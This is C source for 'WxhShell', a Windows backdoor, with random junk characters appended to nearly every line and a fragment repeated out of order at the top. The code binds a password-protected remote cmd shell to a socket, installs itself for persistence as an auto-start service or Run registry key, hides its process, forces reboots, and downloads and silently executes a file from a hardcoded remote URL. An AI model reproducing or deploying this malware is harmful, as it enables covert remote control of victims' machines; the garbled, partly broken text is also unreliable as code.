  case 'd': { Di])<V  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pLo;#e8'f  
    if(Boot(SHUTDOWN)) m9I(TOw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tnJ`D4  
    else { N.vG]%1"  
    closesocket(wsh); d3(+ztmG!  
    ExitThread(0); w'XSb.\)_m  
    } x{j+}'9  
    break; ++gPv}:$X  
    } ZR2\ dH*  
  // 获取shell -G!6U2*#  
  case 's': { `|JI\&z  
    CmdShell(wsh); I*9Gb$]=  
    closesocket(wsh); BiE$mM  
    ExitThread(0); D/*vj|  
    break; (I!1sE!?1  
  } !8Y3V/)NU  
  // 退出 d}pGeU'  
  case 'x': { d4V 2[TX  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 13\Sh  
    CloseIt(wsh); a YR\<02  
    break; 9M nem*  
    } CP@o,v-  
  // 离开 n }TTq6B  
  case 'q': { eoC<a"bJ>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qb9}&'@:  
    closesocket(wsh); U#iT<#!l2  
    WSACleanup(); VrudR#q  
    exit(1); E4hq}  
    break; XWc|[>iO  
        } nHE+p\  
  } "LXXs0  
  } dZ-Ny_@&  
EO"=\C,  
  // 提示信息 vg5E/+4gp%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :nt}7Dn'  
} *:(1K%g  
  } M$#+W?m&  
01-p `H+  
  return; Qk|( EFQ9  
} d{?)q  
e5FCqNip'  
// shell模块句柄 #%qqL  
int CmdShell(SOCKET sock) rdFs?hO  
{ pDP33`OFh  
STARTUPINFO si; <%he  o  
ZeroMemory(&si,sizeof(si)); rT o%=0P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1X Q87~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YBR)s\*  
PROCESS_INFORMATION ProcessInfo; vsjM3=  
char cmdline[]="cmd"; gp%tMT I1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q4#\{" N!  
  return 0; #T Z!#,q  
} 7%W!k zp>  
zkH<aLRB  
// 自身启动模式 |_!PD$i-  
int StartFromService(void) {6ajsy5=  
{ 9'D8[p%  
typedef struct KX]-ll  
{ R,uJK)m  
  DWORD ExitStatus; Wnb)*pPP  
  DWORD PebBaseAddress; < JGYr 4V  
  DWORD AffinityMask; H+nr5!`kz  
  DWORD BasePriority; }`#j;H$i  
  ULONG UniqueProcessId; zf}rfn  
  ULONG InheritedFromUniqueProcessId; u|(aS^H=q  
}   PROCESS_BASIC_INFORMATION; 9tW3!O^_  
HW^{;'kH~  
PROCNTQSIP NtQueryInformationProcess; (2n3exx  
wHq('+{=&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r#ks>s  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;<86P3S  
y>?k<)nA{  
  HANDLE             hProcess; \XZU'JIO  
  PROCESS_BASIC_INFORMATION pbi; *{HGLl|=  
*sIi$1vHu  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hg(KNvl  
  if(NULL == hInst ) return 0; c>M_?::)0  
4mki&\lw`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >6n@\n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); BASO$?jf4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N)`tI0/W  
x*3@,GmZl  
  if (!NtQueryInformationProcess) return 0; y[TaM9<  
?U7&R%Lh`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n\~"Wim<b  
  if(!hProcess) return 0; }S Y`KoC1  
a g|9$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BF@m )w.v  
F^4*|g  
  CloseHandle(hProcess); hj%}GP{{  
aMe%#cLI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =iA"; x  
if(hProcess==NULL) return 0; r9U[-CX:"  
<6~/sa4GN  
HMODULE hMod; `PXoJl  
char procName[255]; !.x=r  
unsigned long cbNeeded; Y;~EcM  
rCV$N&rK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); LX&=uv%-^  
!H2C9l:rd  
  CloseHandle(hProcess); MZgmv  
&Z#Vw.7U  
if(strstr(procName,"services")) return 1; // 以服务启动 8Xt=eL/P  
/ n C$?w  
  return 0; // 注册表启动 K*hf(w9="%  
} M)bC%(xJ  
vq@#Be?@  
// 主模块 %t,1_c0w  
int StartWxhshell(LPSTR lpCmdLine) 1aXIhk4  
{ DR#3njjEC  
  SOCKET wsl; P2<gHJ9t  
BOOL val=TRUE; ?etj.\q6  
  int port=0; C{lB/F/|!  
  struct sockaddr_in door; 7!]k#|u  
aC $h_  
  if(wscfg.ws_autoins) Install(); F!DrZd>\  
YB(#]H|8S  
port=atoi(lpCmdLine); iX&Z  
2b vYF ;<r  
if(port<=0) port=wscfg.ws_port; 6PVlZ  
4jI*Y6Wkz  
  WSADATA data; ^;v.ytO*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *GY,h$Ul  
>-o?S O(M,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _A# x&<c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9 u6 g  
  door.sin_family = AF_INET; Y D1g]p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); TU^tW  
  door.sin_port = htons(port); lW@:q04Z$  
#==[RNM%ap  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JJ= ~o@|c  
closesocket(wsl); 7ipY*DT8  
return 1; 5wVi{P5+  
} _ ;v _L  
[NR0] #h  
  if(listen(wsl,2) == INVALID_SOCKET) { WoN]eO  
closesocket(wsl); 0.3[=a4 3  
return 1; |$i1]Dr6  
} dRarNW  
  Wxhshell(wsl); #&HarBxx  
  WSACleanup(); )xXrs^  
./z"P]$  
return 0; ]MBJ"1F  
TO8\4p*tE  
} 0Mzc1dG:  
}pU!1GsO  
// 以NT服务方式启动 `^@g2c+d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6 I>xd  
{ G=0}IPfp  
DWORD   status = 0; ?7uStqa  
  DWORD   specificError = 0xfffffff; YV>VA<c  
ce-m)o/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !3gpiQH{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |Cxip&e>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +=lcN~U2  
  serviceStatus.dwWin32ExitCode     = 0; Y=#mx3.  
  serviceStatus.dwServiceSpecificExitCode = 0; %[31ZFYB  
  serviceStatus.dwCheckPoint       = 0; E,nYtn|B  
  serviceStatus.dwWaitHint       = 0; d%"@#bB  
{yl/T:Bh&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `~s,W.Eu4  
  if (hServiceStatusHandle==0) return; =Am*$wGI  
7xa@wa?!L  
status = GetLastError(); >H]|A<9u(  
  if (status!=NO_ERROR) g#bfY=C  
{ CuGOjQ-k~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5>^ W}0s  
    serviceStatus.dwCheckPoint       = 0; jmwQc&  
    serviceStatus.dwWaitHint       = 0; .>\>F{#~  
    serviceStatus.dwWin32ExitCode     = status; 0V>N#P]  
    serviceStatus.dwServiceSpecificExitCode = specificError; ztt%l #  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /m|&nl8"qe  
    return; [sh"?  
  } I'wk/  
znDtM1sLeV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rSFXchD/  
  serviceStatus.dwCheckPoint       = 0; mU0r"\**c3  
  serviceStatus.dwWaitHint       = 0; Ny&Fjzl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4N^Qd3[d  
} :j50]zLy{  
+xu/RY_  
// 处理NT服务事件,比如:启动、停止 x%Y a*T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) DqC}f#  
{ `W;cft4  
switch(fdwControl) ]idD&5gd  
{ %W|Zj QI^  
case SERVICE_CONTROL_STOP: @XSu?+s)  
  serviceStatus.dwWin32ExitCode = 0; [Z`:1_^0}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'V*M_o(\  
  serviceStatus.dwCheckPoint   = 0; dzC&7 9$  
  serviceStatus.dwWaitHint     = 0; $9u  
  { @):NNbtA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q2o$s9}B  
  } eDMwY$J  
  return; jn3|9x  
case SERVICE_CONTROL_PAUSE: f;; S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )@&?i.  
  break; 4m~stDlN  
case SERVICE_CONTROL_CONTINUE: 2wim P8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; kl<B*:RqH  
  break; R S_lQ{'  
case SERVICE_CONTROL_INTERROGATE: I4DlEX  
  break; H<}Fk9  
}; .}u(&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =D:R'0YH  
} 7&S|y]$~  
)-:f;#xJ  
// 标准应用程序主函数 e, 3(i!47  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _WkcJe`  
{ 7Mb t*[n  
>rX R;4%  
// 获取操作系统版本 SbNUX  
OsIsNt=GetOsVer(); @%B!$\]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sV4tu(~  
2/o/UfYjgF  
  // 从命令行安装 W;9X*I8f8  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'f<_SKd  
,f""|X5  
  // 下载执行文件 [LEh  
if(wscfg.ws_downexe) { Hbj:CViYq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g"AfI  
  WinExec(wscfg.ws_filenam,SW_HIDE); Oh85*3  
} ?01""Om   
K@u."eaD  
if(!OsIsNt) { ~rfjQPbh9x  
// 如果时win9x,隐藏进程并且设置为注册表启动 $}c@S0%P"  
HideProc(); UE;) mZ=l|  
StartWxhshell(lpCmdLine); sNpBTG@{l  
} m6ws #%|[  
else '|R@k_nx  
  if(StartFromService()) uM6!RR!~  
  // 以服务方式启动 j24  
  StartServiceCtrlDispatcher(DispatchTable); KO;61y:  
else ')cgx9   
  // 普通方式启动 gBS#Z.  
  StartWxhshell(lpCmdLine); SX<mj  
aC6b})^  
return 0; YxqQg  
} eBRP%<=>D  
2%yJo7f$[  
U@AfRUF&  
w+(wvNmNEK  
=========================================== NjyIwo0  
zjZTar1Re  
(#"s!!b  
m8A_P:MQq  
aw~EK0yU   
qxr&_r  
" /'_ RI  
/6*.%M>r  
#include <stdio.h> #\["y%;W  
#include <string.h> UN4) >\Y  
#include <windows.h> G&H"8REm  
#include <winsock2.h> QYb?;Z  
#include <winsvc.h> e%Xf*64  
#include <urlmon.h> T1di$8  
PGhZ`nl  
#pragma comment (lib, "Ws2_32.lib") !27]1%Aw  
#pragma comment (lib, "urlmon.lib") U: jf9L2  
h4i $z-!  
#define MAX_USER   100 // 最大客户端连接数 ;i?!qB>baX  
#define BUF_SOCK   200 // sock buffer Cb-E<W&2D  
#define KEY_BUFF   255 // 输入 buffer odn`%ok  
qP'g}Pc  
#define REBOOT     0   // 重启 M\6v}kUY  
#define SHUTDOWN   1   // 关机 A>2p/iMc  
TAoR6aE  
#define DEF_PORT   5000 // 监听端口 z$5C(!)  
$NRb'   
#define REG_LEN     16   // 注册表键长度 sYP@>tHC  
#define SVC_LEN     80   // NT服务名长度 MW>28  
j]D =\  
// 从dll定义API ,F Vy:"FR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W+S; Do  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O; sQPG,v  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [k}\{i>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }]?G"f t K  
gQDK?aQX  
// wxhshell配置信息 i?=.; 0[|  
struct WSCFG { rB?cm]G=  
  int ws_port;         // 监听端口 ?zu{&aOX|  
  char ws_passstr[REG_LEN]; // 口令 28yxX431S  
  int ws_autoins;       // 安装标记, 1=yes 0=no AAY UXY!  
  char ws_regname[REG_LEN]; // 注册表键名 {\zr_v`g  
  char ws_svcname[REG_LEN]; // 服务名 9iNns;^`q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F ;&e5G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m3-J0D<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _=x_"rz x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xB+H7Ya  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [wG%@0\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ljON_*  
]w_)Spo.  
}; =lD]sk  
34:EpZO@  
// default Wxhshell configuration 0M98y!A 5^  
struct WSCFG wscfg={DEF_PORT, a $%[!vF  
    "xuhuanlingzhe", uy:=V }p  
    1, <J`xCm K  
    "Wxhshell", c `; LF'!  
    "Wxhshell", d~8~RT2m  
            "WxhShell Service",  RZ%X1$  
    "Wrsky Windows CmdShell Service", A$6b=2hc>  
    "Please Input Your Password: ", PlUjjJU  
  1, mkA|gM[g7  
  "http://www.wrsky.com/wxhshell.exe", 7#3)&"j  
  "Wxhshell.exe" 1z:N$O _v  
    }; )c !S@Hs  
GA}^Rh`T-  
// 消息定义模块 Uroj%xN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; aB'@8[]z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (=/;rJ`q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MT0{hsuK9  
char *msg_ws_ext="\n\rExit."; R*m" '|U  
char *msg_ws_end="\n\rQuit."; = h( n+y<  
char *msg_ws_boot="\n\rReboot..."; Ti'kn{ Zv  
char *msg_ws_poff="\n\rShutdown..."; Y sV  
char *msg_ws_down="\n\rSave to "; D.`\ ^a  
<DS6-y  
char *msg_ws_err="\n\rErr!"; >cL2PN_y  
char *msg_ws_ok="\n\rOK!"; 7k|(5P;  
@~3c;9LkY  
char ExeFile[MAX_PATH]; 3wl>a#f  
int nUser = 0; X+8p2xSO|  
HANDLE handles[MAX_USER]; /)TEx}wk  
int OsIsNt; }}1Q<puM  
V}-o): dI|  
SERVICE_STATUS       serviceStatus; -~fI|A^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~\,6 C1M  
] '/]j  
// 函数声明 T_T{c+,Zd$  
int Install(void); zmRK%a(  
int Uninstall(void); Am4(WXVQ  
int DownloadFile(char *sURL, SOCKET wsh); *, K \A  
int Boot(int flag); e`F|sz]k"H  
void HideProc(void); mA @+4&  
int GetOsVer(void); pa-4|)qY  
int Wxhshell(SOCKET wsl); jF9CTL<  
void TalkWithClient(void *cs); m)}MkC-  
int CmdShell(SOCKET sock); id'# s  
int StartFromService(void); Kf~+jYobO  
int StartWxhshell(LPSTR lpCmdLine); {E|gV9g  
+~O{ UGB=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2s%M,Nb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); NhX.yLb$   
k^jCB>b  
// 数据结构和表定义 s#ZH.z@J  
SERVICE_TABLE_ENTRY DispatchTable[] = P.DWC'IBN  
{ ?F{xDfqw  
{wscfg.ws_svcname, NTServiceMain}, 'O9=*L) X  
{NULL, NULL} @x +#ZD(  
}; W^Y0>W~  
; bE6Y]"Rz  
// 自我安装 B$EP'5@b  
int Install(void) \'*`te:{  
{ =U2n"du  
  char svExeFile[MAX_PATH]; a*y mBGF  
  HKEY key; x$DJ  
  strcpy(svExeFile,ExeFile); V"iLeC  
|pSoBA9U  
// 如果是win9x系统,修改注册表设为自启动 IoOnS)  
if(!OsIsNt) { !@k@7~i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MDt?7c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BxYA[#fd}  
  RegCloseKey(key); Xm'K6JH'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1H7Q[ 2E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Dj"=kL0  
  RegCloseKey(key); ^iS:mt  
  return 0; vW3ZuB  
    } 4'&BpFDUb  
  } .+h pxZ  
} Qpf]3  
else { ?GU!ke p  
XtdLKYET  
// 如果是NT以上系统,安装为系统服务 S]O Hv6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,>v9 Y#U  
if (schSCManager!=0) %[m1\h"1  
{ o1+]6s+j}  
  SC_HANDLE schService = CreateService ,6\f4/  
  ( Z]\^.x9S  
  schSCManager, $uynW3h  
  wscfg.ws_svcname, x~tQYK   
  wscfg.ws_svcdisp, % 6.jh#C  
  SERVICE_ALL_ACCESS, U-<"i6mg ?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !5!$h` g  
  SERVICE_AUTO_START, rxeXz<  
  SERVICE_ERROR_NORMAL, [d>yo_iB  
  svExeFile, RGI6W{\  
  NULL, F6VIH(  
  NULL, \ZZy`/~z*7  
  NULL, @$Kq<P  
  NULL, o{W]mr3D  
  NULL =XlIe{  
  ); ODA#vAc!  
  if (schService!=0) @ibPL+~-_  
  { ?Zp!AV  
  CloseServiceHandle(schService); 2!?z%s-S  
  CloseServiceHandle(schSCManager); X.9MOdG70  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); eH/\7)z  
  strcat(svExeFile,wscfg.ws_svcname); tN> B$sv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z ]N~_9w  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T<k1?h^7  
  RegCloseKey(key); ^oO5t-9<!  
  return 0; vaJXX  
    } h ]$?~YE  
  } dU3 >h[q  
  CloseServiceHandle(schSCManager); &novkkqY  
} {bqKb=nyZ  
} x]cZm^  
fO!O" D5  
return 1; UC/2&7 ?  
} v1g5(  
cY'To<v  
// 自我卸载 4,ynt&  
int Uninstall(void) Ltd?#HP  
{ 8Flf,"a   
  HKEY key; l5]oS? >y  
v/.h%6n?  
if(!OsIsNt) { u;qMo`-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~(OIo7#;  
  RegDeleteValue(key,wscfg.ws_regname); rGGepd  
  RegCloseKey(key); HKN"$(Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A=]F_  
  RegDeleteValue(key,wscfg.ws_regname); 810<1NP  
  RegCloseKey(key); 3N0X?* (x|  
  return 0; E?4@C"Na  
  } Mr,y|   
} <;E[)tv  
} Q4LlToHn  
else { - zw{<+;  
^J~A+CEf"W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); TM}'XZ&  
if (schSCManager!=0) ?i EXFYJG  
{ (,c?}TP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A-C)w/7  
  if (schService!=0) yx w27~  
  { -<JBKPtA  
  if(DeleteService(schService)!=0) { [*{\R`M  
  CloseServiceHandle(schService); +xBK^5/x  
  CloseServiceHandle(schSCManager); |QNLO#$ -  
  return 0; O| 6\g>ew  
  } 05VOUa*pb  
  CloseServiceHandle(schService); BI.k On=  
  } Dke($Jr{  
  CloseServiceHandle(schSCManager); V0 +k3H  
} + >gbZ-S  
} nf.:5I.  
@))}\:  
return 1; Etc?;Z[F#  
} %i -X@.P  
^lc}FN  
// 从指定url下载文件 :`u&TXsu  
int DownloadFile(char *sURL, SOCKET wsh) M:UB>-`bW  
{ Ld3Bi2d|  
  HRESULT hr; lH@E%  
char seps[]= "/"; }A)36  
char *token; 5ZyBP~  
char *file; Zjic"E1  
char myURL[MAX_PATH]; UQ.D!q  
char myFILE[MAX_PATH]; [q+e]kD  
H@2"ove-uC  
strcpy(myURL,sURL); fqk Dk  
  token=strtok(myURL,seps); h?3,B0G  
  while(token!=NULL) M?~<w)L}  
  { oD#< ?h)(  
    file=token; }#W`<,*rL.  
  token=strtok(NULL,seps); n]C%(v!u3  
  } =Q8H]F  
8Z4?X%  
GetCurrentDirectory(MAX_PATH,myFILE); P-OPv%jyi  
strcat(myFILE, "\\"); S|q!? /jqj  
strcat(myFILE, file); *&dW\fx  
  send(wsh,myFILE,strlen(myFILE),0); q]i(CaKh  
send(wsh,"...",3,0); P 5qa:<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9oz(=R  
  if(hr==S_OK) ,D@ ;i  
return 0; f5yux}A{  
else W93JY0Ls9|  
return 1; &I}T<v{f  
Q),3&4pM  
} NB W%.z  
[cQ<dVaTX  
// 系统电源模块 B=gsd0^]  
int Boot(int flag) ,v}?{p c  
{ XHZ: mLf  
  HANDLE hToken; YD='M.n\  
  TOKEN_PRIVILEGES tkp; k$-~_^4m  
\n*7# aX/  
  if(OsIsNt) { U!\2K~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l4mUx`!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); b%[ nB  
    tkp.PrivilegeCount = 1; WE.$at{*h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y  KYP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); iIGI=EwZ  
if(flag==REBOOT) { A`x -L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iJZ|[jEDV  
  return 0; JIP+ !2  
} };"+ O  
else { 'Uko^R)(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zD)IU_GWa  
  return 0; 2B9 i R  
} o4/I1Mq  
  }  z _O,Y  
  else { 2 ]V>J  
if(flag==REBOOT) { LmXF`Y$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) aVQSN  
  return 0; xI@$aTGq  
} A{aw< P|+  
else { (aJP: ^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) YA"Ti9-EV  
  return 0; %kK ][2e  
} +^4BO`   
} dSe8vA!)  
r:c@17  
return 1; '_.q_Tf-^  
} Qst \b8,  
vnC<*k4&v  
// win9x进程隐藏模块 RGl=7^M  
void HideProc(void) qY$*#*Q  
{ ?E+:]j_  
M[YTk=IM#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); QE 45!Z g  
  if ( hKernel != NULL ) b W=.K>|  
  { 3!.H^v?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 't|Un G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .~.``a  
    FreeLibrary(hKernel); >bfYy=/  
  } RIy5ww}3|  
[lNqT1%]  
return; PTbA1.B  
} Pt6hGSo.  
EjR_-8@FK  
// 获取操作系统版本 _{LN{iqDv  
int GetOsVer(void) yn/?= ?0  
{ I*A0?{  
  OSVERSIONINFO winfo; 3Q'[Ee2-3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }W:*aU  
  GetVersionEx(&winfo); HzRX$IKB3(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?Oy'awf_  
  return 1; E0"10Qbi  
  else I 1b  
  return 0; $J QWfGwR  
} ,4^9cFVo  
Iv$:`7|crX  
// 客户端句柄模块 q&XCX$N  
int Wxhshell(SOCKET wsl) M.ZEqV+k  
{ ]d@^i)2LF  
  SOCKET wsh; 4F05(R8k  
  struct sockaddr_in client; mje<d"bW  
  DWORD myID; jM5_8nS&d  
=\~E n5  
  while(nUser<MAX_USER) r0\cc6  
{ ?EI'^xg  
  int nSize=sizeof(client); lLuID  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); de> ?*%<  
  if(wsh==INVALID_SOCKET) return 1; RAIVdQ}.Z  
0a"igH}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D JLiZS  
if(handles[nUser]==0) vkd[: CC  
  closesocket(wsh); B4]AFRI  
else , CJAzGBS  
  nUser++; )W&o?VRfO  
  } GWF/[%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qbS'|--wH  
&/Eg2  
  return 0; Lw*;tL<,  
} 9[cp7 Rcb  
fCgBH~w,9  
// 关闭 socket %1Bn_  
void CloseIt(SOCKET wsh) [Q4_WKI0T  
{ Q)09]hP[Xj  
closesocket(wsh); j*uXB^ 4  
nUser--; )^4ko  
ExitThread(0); 3gb|x?  
} x|]\1sb"  
iM:yX=>a  
// 客户端请求句柄 \Sg<='/{L;  
void TalkWithClient(void *cs) q=|R89  
{ H@V 7!d  
9mam ~)_ |  
  SOCKET wsh=(SOCKET)cs; r& vFikIz  
  char pwd[SVC_LEN]; IQ ){(Y  
  char cmd[KEY_BUFF]; nD7|8,'  
char chr[1]; gks ==|s.  
int i,j; bf& }8I$  
_p\629`  
  while (nUser < MAX_USER) { &!ED# gs  
?2{bKIV_  
if(wscfg.ws_passstr) { _|N}4a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3pvYi<<D'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !X^Hi=aV  
  //ZeroMemory(pwd,KEY_BUFF); :6XguU  
      i=0; /\na;GI$  
  while(i<SVC_LEN) { 6gXIt9B.h$  
l0I}&,+  
  // 设置超时 vt//)*(.$  
  fd_set FdRead; ujU=JlJ7dl  
  struct timeval TimeOut; g %f*ofb  
  FD_ZERO(&FdRead); z9[[C^C  
  FD_SET(wsh,&FdRead); YRPm^kW  
  TimeOut.tv_sec=8; 7 _`L$<-n  
  TimeOut.tv_usec=0; J , V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pgT9hle/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t)` p@]j  
m9Ax\lf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OFA{ KZga  
  pwd=chr[0];  3P1&;  
  if(chr[0]==0xd || chr[0]==0xa) { ~ |6dH  
  pwd=0; P` #QGZ>  
  break; /D<"wF }@J  
  } _5mc('  
  i++; f\fdg].!  
    } F*M|<E=  
moMYdArj  
  // 如果是非法用户,关闭 socket >&OUGu|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #/|75 4]]  
} Z,K7Ot0  
(:5G#?6,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~3gru>qI&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y$g}XN*)E  
n-$VUo  
while(1) { s2FngAM;f  
EFAGP${F  
  ZeroMemory(cmd,KEY_BUFF); SyO79e*t  
h{k_6ym  
      // 自动支持客户端 telnet标准   'n0 .#E_  
  j=0; d6`OXTD  
  while(j<KEY_BUFF) { -T7xK/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4[TR0bM%  
  cmd[j]=chr[0]; 7 {f_fkbs  
  if(chr[0]==0xa || chr[0]==0xd) { [*)Z!)  
  cmd[j]=0; A3HF,EG  
  break; {XgnZ`*  
  } k@V#HC{t  
  j++; M`vyTuO3SO  
    } dt_e  
r [s!F=^  
  // 下载文件 'Hw4j:pS  
  if(strstr(cmd,"http://")) { nBN&.+3t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @wp4 |G  
  if(DownloadFile(cmd,wsh)) [|[>}z:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q]\X~ 9#  
  else JS2nXs1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,m^;&&  
  } /4$4h;_8  
  else { Sw8kIC  
WA$ JI@g  
    switch(cmd[0]) { w\w(U  
  fr[3:2g-_  
